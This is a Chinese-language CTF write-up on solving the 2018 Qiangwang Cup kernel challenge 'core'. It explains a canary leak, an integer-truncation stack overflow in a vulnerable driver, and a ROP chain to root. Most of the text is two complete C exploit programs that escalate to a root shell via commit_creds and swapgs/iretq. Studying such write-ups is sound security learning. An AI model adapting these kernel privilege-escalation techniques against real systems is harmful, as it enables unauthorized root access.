linux kernel pwn 初探(3) ROP

找了一道题来做,是2018强网杯的core,这道题因为当时不会kernel pwn,所以没做,现在来回顾一下

首先可以提取出core.ko,详细的功能我这里也不多做描述

因为kernel 开了canary 所以首先要leak出来

然后/proc/kallsyms 在初始化的时候也复制到/tmp/kallsyms,所以可以直接得到prepare_kernel_cred 和commit_creds的地址

然后驱动的漏洞的话是在core_copy_func这个函数里面,比较的时候没有截断,但是复制的时候截断了,所以可以构造一个没有截断前是负数,截断后是一个正数的数字,这样就能造成栈溢出

rop调用完commit_creds(prepare_kernel_cred (0));

然后要返回用户空间,这里坑得有点久,要用

1
2
swapgs
iretq

这两个指令,然后就能返回到用户空间,拿到root shell

还有一个坑就是,不能从带符号的vmlinux里面找gadget,要从bzImage里面提取之后再找gadget

下面是我的poc,编译命令是gcc poc.c -o poc -static -masm=intel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>


size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void binsh()
{
system("/bin/sh");
}

int main()
{
save_status();
void* commit_creds;
void* base_addr;
void* prepare_kernel_cred;

FILE* base=popen("grep startup_64 /tmp/kallsyms |awk -F' ' '{print $1}'","r");
fscanf(base,"%p",&base_addr);
commit_creds=base_addr+0x9c8e0;
prepare_kernel_cred=base_addr+0x9cce0;

printf("commit_creds is %p \nbase is %p \nprepare is %p\n",commit_creds,base_addr,prepare_kernel_cred);

fclose(base);

int fd = open("/proc/core",O_WRONLY);

if(fd<0)
{
printf("open core failed\n");
exit(-1);
}

ioctl(fd,0x6677889C,0x40); //set offset
long long canary[0x10];
ioctl(fd,0x6677889B,canary); //get canary
printf("ret addr is %lx\n",canary[2]);
long long payload[0x40];


payload[8]=canary[0];
payload[9]=canary[1];

void* mov_rdi_rax_jmp_rdx=base_addr+0x6a6d2;
void* prdx=base_addr+0xa0f49;
void* prdi=base_addr+0xb2f;
void* swapgs=base_addr+0xa012da;
void* iretq=base_addr+0x50ac2;

int i=10;
payload[i++]=prdi;
payload[i++]=0;
payload[i++]=prepare_kernel_cred;
payload[i++]=prdx;
payload[i++]=commit_creds;
payload[i++]=mov_rdi_rax_jmp_rdx;
payload[i++]=swapgs;
payload[i++]=0;
payload[i++]=iretq;
payload[i++]=(size_t)binsh;
payload[i++] = user_cs;
payload[i++] = user_rflags;
payload[i++] = user_sp;
payload[i++] = user_ss;

write(fd,payload,0x200);
long long v=0xffffffff00000160;
ioctl(fd,0x6677889A,v);
return 0;
}

运行结果

下面还有另外一个poc,这个只是改了一下,把base的获取从/proc/kallsyms拿变成leak 栈上的内容,leak完之后减去偏移,得到base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>


size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void binsh()
{
system("/bin/sh");
}

int main()
{
save_status();
int fd = open("/proc/core",O_WRONLY);

ioctl(fd,0x6677889C,0x40); //set offset
long long canary[0x10];
ioctl(fd,0x6677889B,canary); //get canary


void* commit_creds;
void* base_addr;
void* prepare_kernel_cred;

base_addr=canary[4]-0x1DD6D1;
commit_creds=base_addr+0x9c8e0;
prepare_kernel_cred=base_addr+0x9cce0;

printf("commit_creds is %p \nbase is %p \nprepare is %p\n",commit_creds,base_addr,prepare_kernel_cred);

long long payload[0x40];


payload[8]=canary[0];
payload[9]=canary[1];

void* mov_rdi_rax_jmp_rdx=base_addr+0x6a6d2;
void* prdx=base_addr+0xa0f49;
void* prdi=base_addr+0xb2f;
void* swapgs=base_addr+0xa012da;
void* iretq=base_addr+0x50ac2;

int i=10;
payload[i++]=prdi;
payload[i++]=0;
payload[i++]=prepare_kernel_cred;
payload[i++]=prdx;
payload[i++]=commit_creds;
payload[i++]=mov_rdi_rax_jmp_rdx;
payload[i++]=swapgs;
payload[i++]=0;
payload[i++]=iretq;
payload[i++]=(size_t)binsh;
payload[i++] = user_cs;
payload[i++] = user_rflags;
payload[i++] = user_sp;
payload[i++] = user_ss;

write(fd,payload,0x200);
long long v=0xffffffff00000160;
ioctl(fd,0x6677889A,v);
return 0;
}